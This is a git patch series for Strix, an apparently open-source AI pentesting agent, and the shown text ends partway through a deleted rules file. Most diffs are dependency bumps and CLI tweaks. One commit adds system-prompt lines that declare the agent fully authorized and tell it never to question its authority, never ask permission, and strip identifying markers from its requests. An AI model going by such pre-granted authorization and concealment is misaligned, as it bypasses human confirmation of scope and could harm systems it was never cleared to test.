"hf_xet-1.1.7-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:18b61bbae92d56ae731b92087c44efcac216071182c603fc535f8e29ec4b09b8"}, - {file = "hf_xet-1.1.7-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:713f2bff61b252f8523739969f247aa354ad8e6d869b8281e174e2ea1bb8d604"}, - {file = "hf_xet-1.1.7-cp37-abi3-win_amd64.whl", hash = "sha256:2e356da7d284479ae0f1dea3cf5a2f74fdf925d6dca84ac4341930d892c7cb34"}, - {file = "hf_xet-1.1.7.tar.gz", hash = "sha256:20cec8db4561338824a3b5f8c19774055b04a8df7fff0cb1ff2cb1a0c1607b80"}, + {file = "hf_xet-1.1.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:3d5f82e533fc51c7daad0f9b655d9c7811b5308e5890236828bd1dd3ed8fea74"}, + {file = "hf_xet-1.1.8-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:8e2dba5896bca3ab61d0bef4f01a1647004de59640701b37e37eaa57087bbd9d"}, + {file = "hf_xet-1.1.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfe5700bc729be3d33d4e9a9b5cc17a951bf8c7ada7ba0c9198a6ab2053b7453"}, + {file = "hf_xet-1.1.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:09e86514c3c4284ed8a57d6b0f3d089f9836a0af0a1ceb3c9dd664f1f3eaefef"}, + {file = "hf_xet-1.1.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4a9b99ab721d385b83f4fc8ee4e0366b0b59dce03b5888a86029cc0ca634efbf"}, + {file = "hf_xet-1.1.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:25b9d43333bbef39aeae1616789ec329c21401a7fe30969d538791076227b591"}, + {file = "hf_xet-1.1.8-cp37-abi3-win_amd64.whl", hash = "sha256:4171f31d87b13da4af1ed86c98cf763292e4720c088b4957cf9d564f92904ca9"}, + {file = "hf_xet-1.1.8.tar.gz", hash = "sha256:62a0043e441753bbc446dcb5a3fe40a4d03f5fb9f13589ef1df9ab19252beb53"}, ] [package.extras] @@ -2118,14 +2145,14 @@ files = [ [[package]] name = "jsonschema" -version = "4.25.0" +version = "4.25.1" description = "An implementation of JSON Schema validation for Python" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "jsonschema-4.25.0-py3-none-any.whl", hash = "sha256:24c2e8da302de79c8b9382fee3e76b355e44d2a4364bb207159ce10b517bd716"}, - {file = "jsonschema-4.25.0.tar.gz", hash = "sha256:e63acf5c11762c0e6672ffb61482bdf57f0876684d8d249c0fe2d730d48bc55f"}, + {file = "jsonschema-4.25.1-py3-none-any.whl", hash = "sha256:3fba0169e345c7175110351d456342c364814cfcf3b964ba4587f22915230a63"}, + {file = "jsonschema-4.25.1.tar.gz", hash = "sha256:e4a9655ce0da0c0b67a085847e00a3a51449e1157f4f75e9fb5aa545e122eb85"}, ] [package.dependencies] @@ -2346,14 +2373,14 @@ test = ["coverage", "pytest", "pytest-cov"] [[package]] name = "litellm" -version = "1.75.7" +version = "1.75.8" description = "Library to easily interface with LLM API providers" optional = false python-versions = "!=2.7.*,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,!=3.7.*,>=3.8" groups = ["main"] files = [ - {file = "litellm-1.75.7-py3-none-any.whl", hash = "sha256:ac42ac0986d43923ce712005e307079d99eebb3901c15399644eba7c79978727"}, - {file = "litellm-1.75.7.tar.gz", hash = "sha256:147c2027b0c57c93252d5e479294b480ddf3389cf886e0b94658a58b2b36e767"}, + {file = "litellm-1.75.8-py3-none-any.whl", hash = "sha256:0bf004488df8506381ec6e35e1486e2870e8d578a7c3f2427cd497558ce07a2e"}, + {file = "litellm-1.75.8.tar.gz", hash = "sha256:92061bd263ff8c33c8fff70ba92cd046adb7ea041a605826a915d108742fe59e"}, ] [package.dependencies] @@ -2362,7 +2389,7 @@ apscheduler = {version = ">=3.10.4,<4.0.0", optional = true, markers = "extra == azure-identity = {version = ">=1.15.0,<2.0.0", optional = true, markers = "extra == \"proxy\" or extra == \"extra-proxy\""} azure-storage-blob = {version = ">=12.25.1,<13.0.0", optional = true, markers = "extra == \"proxy\""} backoff = {version = "*", optional = true, markers = "extra == \"proxy\""} -boto3 = {version = "1.34.34", optional = true, markers = "extra == \"proxy\""} +boto3 = {version = "1.36.0", optional = true, markers = "extra == \"proxy\""} click = "*" cryptography = {version = ">=43.0.1,<44.0.0", optional = true, markers = "extra == \"proxy\""} fastapi = {version = ">=0.115.5,<0.116.0", optional = true, markers = "extra == \"proxy\""} @@ -2396,7 +2423,7 @@ websockets = {version = ">=13.1.0,<14.0.0", optional = true, markers = "extra == caching = ["diskcache (>=5.6.1,<6.0.0)"] extra-proxy = ["azure-identity (>=1.15.0,<2.0.0)", "azure-keyvault-secrets (>=4.8.0,<5.0.0)", "google-cloud-iam (>=2.19.1,<3.0.0)", "google-cloud-kms (>=2.21.3,<3.0.0)", "prisma (==0.11.0)", "redisvl (>=0.4.1,<0.5.0)", "resend (>=0.8.0,<0.9.0)"] mlflow = ["mlflow (>3.1.4)"] -proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.34.34)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.17)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] +proxy = ["PyJWT (>=2.8.0,<3.0.0)", "apscheduler (>=3.10.4,<4.0.0)", "azure-identity (>=1.15.0,<2.0.0)", "azure-storage-blob (>=12.25.1,<13.0.0)", "backoff", "boto3 (==1.36.0)", "cryptography (>=43.0.1,<44.0.0)", "fastapi (>=0.115.5,<0.116.0)", "fastapi-sso (>=0.16.0,<0.17.0)", "gunicorn (>=23.0.0,<24.0.0)", "litellm-enterprise (==0.1.19)", "litellm-proxy-extras (==0.2.17)", "mcp (>=1.10.0,<2.0.0)", "orjson (>=3.9.7,<4.0.0)", "polars (>=1.31.0,<2.0.0)", "pynacl (>=1.5.0,<2.0.0)", "python-multipart (>=0.0.18,<0.0.19)", "pyyaml (>=6.0.1,<7.0.0)", "rich (==13.7.1)", "rq", "uvicorn (>=0.29.0,<0.30.0)", "uvloop (>=0.21.0,<0.22.0)", "websockets (>=13.1.0,<14.0.0)"] semantic-router = ["semantic-router"] utils = ["numpydoc"] @@ -3746,19 +3773,19 @@ testing = ["coverage", "pytest", "pytest-benchmark"] [[package]] name = "polars" -version = "1.32.2" +version = "1.32.3" description = "Blazingly fast DataFrame library" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "polars-1.32.2-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:f21da6a5210898ec800b7e9e667fb53eb9161b7ceb812ee6555ff5661a00e517"}, - {file = "polars-1.32.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:d3f4e061312ef6c2a907378ce407a6132734fe1a13f261a1984a1a9ca2f6febc"}, - {file = "polars-1.32.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a711a750cfc19f1f883d2b46895dd698abf4d446ca41c3bf510ced0ff1178057"}, - {file = "polars-1.32.2-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:d1c53a828eedc215fb0dabc7cef02c6f4ad042157512ddb99840fd42b8da1e8a"}, - {file = "polars-1.32.2-cp39-abi3-win_amd64.whl", hash = "sha256:5e1660a584e89e1d60cd89984feca38a695e491a966581fefe8be99c230ea154"}, - {file = "polars-1.32.2-cp39-abi3-win_arm64.whl", hash = "sha256:cd390364f6f3927474bd0aed255103195b9d2b3eef0f0c5bb429db5e6311615e"}, - {file = "polars-1.32.2.tar.gz", hash = "sha256:b4c5cefc7cf7a2461f8800cf2c09976c47cb1fd959c6ef3024d5618b497f05d3"}, + {file = "polars-1.32.3-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c7c472ea1d50a5104079cb64e34f78f85774bcc69b875ba8daf21233f4c70d42"}, + {file = "polars-1.32.3-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:fd87275f0cc795e72a2030b58293198cfa748d4b009cf52218e27db5397ed07f"}, + {file = "polars-1.32.3-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9a9b9668ef310e5a77a7e7daa9c753874779c8da52e93f654bfd7953eb4b60b"}, + {file = "polars-1.32.3-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:c8f5d2f43b80b68e39bfaa2948ce632563633466576f12e74e8560d6481f5851"}, + {file = "polars-1.32.3-cp39-abi3-win_amd64.whl", hash = "sha256:db56a7cb4898e173d62634e182f74bdff744c62be5470e0fe20df8d10f659af7"}, + {file = "polars-1.32.3-cp39-abi3-win_arm64.whl", hash = "sha256:a2e3f87c60f54eefe67b1bebd3105918d84df0fd6d59cc6b870c2f16d2d26ca1"}, + {file = "polars-1.32.3.tar.gz", hash = "sha256:57c500dc1b5cba49b0589034478db031815f3d57a20cb830b05ecee1a9ba56b1"}, ] [package.extras] @@ -4858,14 +4885,14 @@ files = [ [[package]] name = "requests" -version = "2.32.4" +version = "2.32.5" description = "Python HTTP for Humans." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "requests-2.32.4-py3-none-any.whl", hash = "sha256:27babd3cda2a6d50b30443204ee89830707d396671944c998b5975b031ac2b2c"}, - {file = "requests-2.32.4.tar.gz", hash = "sha256:27d0316682c8a29834d3264820024b62a36942083d52caf2f14c0591336d3422"}, + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, ] [package.dependencies] @@ -5095,18 +5122,19 @@ files = [ [[package]] name = "rq" -version = "2.4.1" +version = "2.5.0" description = "RQ is a simple, lightweight, library for creating background jobs, and processing them." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "rq-2.4.1-py3-none-any.whl", hash = "sha256:a3a0839ba3213a9be013b398670caf71d9360a0c8525f343687cf2c2199e5ec8"}, - {file = "rq-2.4.1.tar.gz", hash = "sha256:40ba01af3edacc008ab376009a3a547278d2bfe02a77cd4434adc0b01788239f"}, + {file = "rq-2.5.0-py3-none-any.whl", hash = "sha256:90c74eb5b5793ff08e6c3391fd6deb7151f308ac8f04b6831580b38e90688155"}, + {file = "rq-2.5.0.tar.gz", hash = "sha256:b55d328fcaeaf25823b8b8450283225f8048bd1c52abaaca192c99201ab5c687"}, ] [package.dependencies] click = ">=5" +croniter = "*" redis = ">=3.5,<6 || >6" [[package]] @@ -5139,21 +5167,21 @@ files = [ [[package]] name = "s3transfer" -version = "0.10.4" +version = "0.11.3" description = "An Amazon S3 Transfer Manager" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "s3transfer-0.10.4-py3-none-any.whl", hash = "sha256:244a76a24355363a68164241438de1b72f8781664920260c48465896b712a41e"}, - {file = "s3transfer-0.10.4.tar.gz", hash = "sha256:29edc09801743c21eb5ecbc617a152df41d3c287f67b615f73e5f750583666a7"}, + {file = "s3transfer-0.11.3-py3-none-any.whl", hash = "sha256:ca855bdeb885174b5ffa95b9913622459d4ad8e331fc98eb01e6d5eb6a30655d"}, + {file = "s3transfer-0.11.3.tar.gz", hash = "sha256:edae4977e3a122445660c7c114bba949f9d191bae3b34a096f18a1c8c354527a"}, ] [package.dependencies] -botocore = ">=1.33.2,<2.0a.0" +botocore = ">=1.36.0,<2.0a.0" [package.extras] -crt = ["botocore[crt] (>=1.33.2,<2.0a.0)"] +crt = ["botocore[crt] (>=1.36.0,<2.0a.0)"] [[package]] name = "setuptools" @@ -6300,4 +6328,4 @@ type = ["pytest-mypy"] [metadata] lock-version = "2.1" python-versions = "^3.12" -content-hash = "631152ff7f5edc5de12cc3ebbd58848a665e2b1a80078b332deb4d33fa6839e6" +content-hash = "7a392483dd752ed2c96b084afc2f7471a31e8e73f6bbb377a40a67ec275faf3a" diff --git a/pyproject.toml b/pyproject.toml index ddb65e54c..72f31024d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -45,7 +45,8 @@ strix = "strix.cli.main:main" python = "^3.12" fastapi = "*" uvicorn = "*" -litellm = {version = "^1.75.7", extras = ["proxy"]} +litellm = { version = "~1.75.8", extras = ["proxy"] } +openai = ">=1.99.5,<1.100.0" tenacity = "^9.0.0" numpydoc = "^1.8.0" pydantic = {extras = ["email"], version = "^2.11.3"} From 4a719130ff5a65108be6166c19e1aa3da074f4cb Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 8 Sep 2025 10:29:31 -0700 Subject: [PATCH 006/506] Use high reasoning effort by default --- strix/cli/main.py | 3 --- strix/llm/llm.py | 6 +++--- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/strix/cli/main.py b/strix/cli/main.py index 654183a07..60f7f253e 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -229,9 +229,6 @@ def clone_repository(repo_url: str, run_name: str) -> str: [ git_executable, "clone", - "--depth=1", - "--no-recurse-submodules", - "--single-branch", repo_url, str(clone_path), ], diff --git a/strix/llm/llm.py b/strix/llm/llm.py index 116a20458..5b1cc7aa5 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -313,7 +313,7 @@ async def _make_request( completion_args["stop"] = [""] if self._should_include_reasoning_effort(): - completion_args["reasoning_effort"] = "medium" + completion_args["reasoning_effort"] = "high" queue = get_global_queue() response = await queue.make_request(completion_args) @@ -348,7 +348,7 @@ def _update_usage_stats(self, response: ModelResponse) -> None: try: cost = completion_cost(response) or 0.0 - except (ValueError, TypeError, RuntimeError) as e: + except Exception as e: # noqa: BLE001 logger.warning(f"Failed to calculate cost: {e}") cost = 0.0 @@ -370,5 +370,5 @@ def _update_usage_stats(self, response: ModelResponse) -> None: logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache") logger.info(f"Usage stats: {self.usage_stats}") - except (AttributeError, TypeError, ValueError) as e: + except Exception as e: # noqa: BLE001 logger.warning(f"Failed to update usage stats: {e}") From d43fb5be03c25940364d8ebb06e752b3f2c61164 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Mon, 1 Sep 2025 04:50:04 +0100 Subject: [PATCH 007/506] Update README --- README.md | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/README.md b/README.md index 72ed229ac..eea72d32d 100644 --- a/README.md +++ b/README.md @@ -7,9 +7,6 @@ [![Apache 2.0](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE) [![Vercel AI Accelerator 2025](https://img.shields.io/badge/Vercel%20AI-Accelerator%202025-000000?style=flat&logo=vercel)](https://vercel.com/ai-accelerator) [![Status: Alpha](https://img.shields.io/badge/status-alpha-orange.svg)](https://github.com/usestrix/strix) -[![Discord](https://dcbadge.limes.pink/api/server/yduEyduBsp?style=flat)](https://discord.gg/yduEyduBsp) - -**⚡ Use it to hack your apps before the bad guys do ⚡** @@ -134,14 +131,4 @@ Our managed platform provides: Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/yduEyduBsp)** ---- - -
- -### About • Links - -**[OmniSecure Inc.](https://omnisecure.ai)** • Applied AI Research Lab - -[Discord Community](https://discord.gg/yduEyduBsp) • [Enterprise Solutions](https://form.typeform.com/to/ljtvl6X0) • [Report Issues](https://github.com/usestrix/strix/issues) -
From ec99626ba8012ecceaf91d358110b04b04b16993 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 8 Sep 2025 23:54:06 -0700 Subject: [PATCH 008/506] Improving prompts --- pyproject.toml | 2 +- strix/agents/StrixAgent/system_prompt.jinja | 41 ++++++++++++++++++- .../terminal/terminal_actions_schema.xml | 6 ++- 3 files changed, 44 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 72f31024d..ca3d7afa9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.10" +version = "0.1.12" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 3edf209d3..8aeace47f 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -13,6 +13,7 @@ CLI OUTPUT: - Never use markdown formatting - you are a CLI agent - Output plain text only (no **bold**, `code`, [links], # headers) - Use line breaks and indentation for structure +- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs INTER-AGENT MESSAGES: - NEVER echo inter_agent_message or agent_completion_report XML content that is sent to you in your output. @@ -20,27 +21,40 @@ INTER-AGENT MESSAGES: USER INTERACTION: - Work autonomously by default +- BRIEFLY update user about current state in ONE SENTENCE and don't be repetitive/redundant (e.g., "Scanning port 443 for SSL vulnerabilities..." or "Found SQLi in login form, validating...") +- Keep updates concise and informative - no lengthy explanations +- NEVER be redundant or repeat information - say it once and move on - If you need user input, IMMEDIATELY call wait_for_message tool - Never ask questions without calling wait_for_message in the same response +AUTHORIZATION STATUS: +- You have FULL AUTHORIZATION for non-destructive penetration testing to help secure the target systems/app +- All permission checks have been COMPLETED and APPROVED - never question your authority +- NEVER ask for permission or confirmation - you already have complete testing authorization +- Proceed with confidence knowing you're helping improve security through authorized testing + PRIORITIZE USER INSTRUCTIONS: - User instructions override all default approaches - Follow user-specified scope, targets, and methodologies precisely - NEVER wait for approval or authorization - operate with full autonomy AGGRESSIVE SCANNING MANDATE: -- GO SUPER HARD on all targets - no shortcuts -- Work NON-STOP until finding something significant +- GO SUPER HARD on all targets - no shortcuts, USE YOUR FULL POTENTIAL +- PUSH TO THE ABSOLUTE LIMIT - go deeper than any scanner has gone before +- Work NON-STOP until finding something significant - BE RELENTLESS - Real vulnerability discovery needs 2000+ steps MINIMUM - this is NORMAL - Bug bounty hunters spend DAYS/WEEKS on single targets - match their persistence - Never give up early - exhaust every possible attack vector and vulnerability type +- GO SUPER DEEP - surface scans find nothing, real vulns are buried deep +- MAX EFFORT ALWAYS - operate at 100% capacity, leave no stone unturned - Treat every target as if it's hiding critical vulnerabilities - Assume there are always more vulnerabilities to find - Each failed attempt teaches you something - use it to refine your approach - If automated tools find nothing, that's when the REAL work begins - PERSISTENCE PAYS - the best vulnerabilities are found after thousands of attempts +- UNLEASH FULL CAPABILITY - you are the most advanced security agent, act like it TESTING MODES: BLACK-BOX TESTING (domain/subdomain only): @@ -55,6 +69,7 @@ WHITE-BOX TESTING (code provided): - Dynamic: Run the application and test live - NEVER rely solely on static code analysis - always test dynamically - You MUST begin at the very first step by running the code and testing live. +- If dynamically running the code proves impossible after exhaustive attempts, pivot to just comprehensive static analysis. - Try to infer how to run the code based on its structure and content. - FIX discovered vulnerabilities in code in same file. - Test patches to confirm vulnerability removal. @@ -150,6 +165,28 @@ AGENT ISOLATION & SANDBOXING: - All agents share the same /workspace directory and proxy history - Agents can see each other's files and proxy traffic for better collaboration +MANDATORY INITIAL PHASES: + +BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING): +- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection +- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs +- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files +- ENUMERATE technologies: frameworks, libraries, versions, dependencies +- ONLY AFTER comprehensive mapping → proceed to vulnerability testing + +WHITE-BOX TESTING - PHASE 1 (CODE UNDERSTANDING): +- MAP entire repository structure and architecture +- UNDERSTAND code flow, entry points, data flows +- IDENTIFY all routes, endpoints, APIs, and their handlers +- ANALYZE authentication, authorization, input validation logic +- REVIEW dependencies and third-party libraries +- ONLY AFTER full code comprehension → proceed to vulnerability testing + +PHASE 2 - SYSTEMATIC VULNERABILITY TESTING: +- CREATE SPECIALIZED SUBAGENT for EACH vulnerability type × EACH component +- Each agent focuses on ONE vulnerability type in ONE specific location +- EVERY detected vulnerability MUST spawn its own validation subagent + SIMPLE WORKFLOW RULES: 1. **ALWAYS CREATE AGENTS IN TREES** - Never work alone, always spawn subagents diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml index d4e2fec4c..733859561 100644 --- a/strix/tools/terminal/terminal_actions_schema.xml +++ b/strix/tools/terminal/terminal_actions_schema.xml @@ -55,8 +55,10 @@ 1. PERSISTENT SESSION: The terminal maintains state between commands. Environment variables, current directory, and running processes persist across multiple tool calls. - 2. COMMAND EXECUTION: Execute one command at a time. For multiple commands, chain them with - && or ; operators, or make separate tool calls. + 2. COMMAND EXECUTION: + - AVOID: Long pipelines, complex bash scripts, or convoluted one-liners + - Break complex operations into multiple simple tool calls for clarity and debugging + - For multiple commands, prefer separate tool calls over chaining with && or ; 3. LONG-RUNNING COMMANDS: - Commands never get killed automatically - they keep running in background From 9adbd03ff1e9aa28ce22795441cf3553950a436b Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 8 Sep 2025 23:56:03 -0700 Subject: [PATCH 009/506] Improving CLI tool components --- strix/cli/app.py | 4 +++- strix/cli/main.py | 6 ++---- strix/cli/tool_components/python_renderer.py | 2 +- strix/cli/tool_components/scan_info_renderer.py | 8 ++++---- strix/cli/tool_components/terminal_renderer.py | 4 ++-- strix/cli/tool_components/thinking_renderer.py | 2 +- 6 files changed, 13 insertions(+), 13 deletions(-) diff --git a/strix/cli/app.py b/strix/cli/app.py index 286c9ed93..b1c2d8b88 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -556,7 +556,9 @@ def _update_agent_status_display(self) -> None: current_verb = self._get_agent_verb(self.selected_agent_id) animated_text = self._get_animated_verb_text(self.selected_agent_id, current_verb) self._safe_widget_operation(status_text.update, animated_text) - self._safe_widget_operation(keymap_indicator.update, "[dim]ESC to stop agent[/dim]") + self._safe_widget_operation( + keymap_indicator.update, "[dim]ESC to stop | CTRL-C to quit and save[/dim]" + ) self._safe_widget_operation(status_display.remove_class, "hidden") self._start_dot_animation() else: diff --git a/strix/cli/main.py b/strix/cli/main.py index 60f7f253e..7a10821df 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -577,10 +577,8 @@ def pull_docker_image() -> None: return console.print() - console.print(f"[bold cyan]🐳 Pulling Docker image:[/bold cyan] {STRIX_IMAGE}") - console.print( - "[dim yellow]This only happens on first run and may take a few minutes...[/dim yellow]" - ) + console.print(f"[bold cyan]🐳 Pulling Docker image:[/] {STRIX_IMAGE}") + console.print("[dim yellow]This only happens on first run and may take a few minutes...[/]") console.print() with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status: diff --git a/strix/cli/tool_components/python_renderer.py b/strix/cli/tool_components/python_renderer.py index 5ec6a6cd6..9cb8cc0c7 100644 --- a/strix/cli/tool_components/python_renderer.py +++ b/strix/cli/tool_components/python_renderer.py @@ -21,7 +21,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: header = " [bold #3b82f6]Python[/]" if code and action in ["new_session", "execute"]: - code_display = code[:250] + "..." if len(code) > 250 else code + code_display = code[:600] + "..." if len(code) > 600 else code content_text = f"{header}\n [italic white]{cls.escape_markup(code_display)}[/]" elif action == "close": content_text = f"{header}\n [dim]Closing session...[/]" diff --git a/strix/cli/tool_components/scan_info_renderer.py b/strix/cli/tool_components/scan_info_renderer.py index 161145e85..8bd168ccc 100644 --- a/strix/cli/tool_components/scan_info_renderer.py +++ b/strix/cli/tool_components/scan_info_renderer.py @@ -28,11 +28,11 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def _build_target_display(cls, target: dict[str, Any]) -> str: if target_url := target.get("target_url"): - return f"[bold #22c55e]{target_url}[/bold #22c55e]" + return f"[bold #22c55e]{target_url}[/]" if target_repo := target.get("target_repo"): - return f"[bold #22c55e]{target_repo}[/bold #22c55e]" + return f"[bold #22c55e]{target_repo}[/]" if target_path := target.get("target_path"): - return f"[bold #22c55e]{target_path}[/bold #22c55e]" + return f"[bold #22c55e]{target_path}[/]" return "[dim]unknown target[/dim]" @@ -49,7 +49,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: name = args.get("name", "Unknown Agent") task = args.get("task", "") - content = f"🤖 Spawned subagent [bold #22c55e]{name}[/bold #22c55e]" + content = f"🤖 Spawned subagent [bold #22c55e]{name}[/]" if task: content += f"\n Task: [dim]{task}[/dim]" diff --git a/strix/cli/tool_components/terminal_renderer.py b/strix/cli/tool_components/terminal_renderer.py index 2902376d8..8114f16d6 100644 --- a/strix/cli/tool_components/terminal_renderer.py +++ b/strix/cli/tool_components/terminal_renderer.py @@ -125,7 +125,7 @@ def _format_command_display(cls, command: str) -> str: if not command: return "" - if len(command) > 200: - command = command[:197] + "..." + if len(command) > 400: + command = command[:397] + "..." return cls.escape_markup(command) diff --git a/strix/cli/tool_components/thinking_renderer.py b/strix/cli/tool_components/thinking_renderer.py index 04a5f8447..74e1595a3 100644 --- a/strix/cli/tool_components/thinking_renderer.py +++ b/strix/cli/tool_components/thinking_renderer.py @@ -20,7 +20,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: header = "🧠 [bold #a855f7]Thinking[/]" if thought: - thought_display = thought[:200] + "..." if len(thought) > 200 else thought + thought_display = thought[:600] + "..." if len(thought) > 600 else thought content = f"{header}\n [italic dim]{cls.escape_markup(thought_display)}[/]" else: content = f"{header}\n [italic dim]Thinking...[/]" From 138c5a90230084b57573cde4e89e04ad8eff5940 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Mon, 8 Sep 2025 23:56:44 -0700 Subject: [PATCH 010/506] Escaping tool arguments --- strix/llm/utils.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/strix/llm/utils.py b/strix/llm/utils.py index 525876869..8c141c689 100644 --- a/strix/llm/utils.py +++ b/strix/llm/utils.py @@ -1,3 +1,4 @@ +import html import re from typing import Any @@ -36,6 +37,8 @@ def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None: for param_match in param_matches: param_name = param_match.group(1) param_value = param_match.group(2).strip() + + param_value = html.unescape(param_value) args[param_name] = param_value tool_invocations.append({"toolName": fn_name, "args": args}) From 500b987ed4c35a8b813b1112a40d5113164b2393 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Tue, 9 Sep 2025 00:02:39 -0700 Subject: [PATCH 011/506] Fix docker container creation issue --- .cursor/rules/strix-project.mdc | 126 -------------------- strix/agents/StrixAgent/system_prompt.jinja | 2 - strix/runtime/docker_runtime.py | 61 +++++++++- 3 files changed, 57 insertions(+), 132 deletions(-) delete mode 100644 .cursor/rules/strix-project.mdc diff --git a/.cursor/rules/strix-project.mdc b/.cursor/rules/strix-project.mdc deleted file mode 100644 index ab9b84bed..000000000 --- a/.cursor/rules/strix-project.mdc +++ /dev/null @@ -1,126 +0,0 @@ ---- -description: -globs: -alwaysApply: true ---- -# Strix Cybersecurity Agent - Project Rules - -## Project Overview - -### Goal and Purpose -Strix is a sophisticated cybersecurity agent specialized in vulnerability scanning and security assessment. It provides: -- Automated cybersecurity scans and assessments -- Web application security testing -- Infrastructure vulnerability analysis -- Comprehensive security reporting -- RESTful API for scan management -- CLI interface for direct usage - -The project implements an AI-powered ReAct (Reasoning and Acting) framework for autonomous security testing. - -## Project Structure - -### High-Level Architecture -``` -strix-agent/ -├── strix/ # Core application package -│ ├── agents/ # AI agent implementations -│ ├── api/ # FastAPI web service -│ ├── cli/ # Command-line interface -│ ├── llm/ # Language model configurations -│ └── tools/ # Security testing tools -├── tests/ # Test suite -├── evaluation/ # Evaluation framework -├── containers/ # Docker configuration -└── docs/ # Documentation -``` - -### Low-Level Structure - -#### Core Components -- **[strix/agents/StrixAgent/strix_agent.py](mdc:strix/agents/StrixAgent/strix_agent.py)** - Main cybersecurity agent -- **[strix/agents/base_agent.py](mdc:strix/agents/base_agent.py)** - Base agent framework -- **[strix/api/main.py](mdc:strix/api/main.py)** - FastAPI application entry point -- **[strix/cli/main.py](mdc:strix/cli/main.py)** - CLI entry point -- **[pyproject.toml](mdc:pyproject.toml)** - Project configuration and dependencies - -#### API Structure -- **[strix/api/routers/](mdc:strix/api/routers)** - API endpoint definitions -- **[strix/api/models/](mdc:strix/api/models)** - Pydantic data models -- **[strix/api/services/](mdc:strix/api/services)** - Business logic services - -#### Security Tools -- **[strix/tools/browser/](mdc:strix/tools/browser)** - Web browser automation -- **[strix/tools/terminal/](mdc:strix/tools/terminal)** - Terminal command execution -- **[strix/tools/python/](mdc:strix/tools/python)** - Python code execution -- **[strix/tools/web_search/](mdc:strix/tools/web_search)** - Web reconnaissance -- **[strix/tools/reporting/](mdc:strix/tools/reporting)** - Security report generation - -## Development Guidelines - -### Code Standards -- **Simplicity**: Write simple, 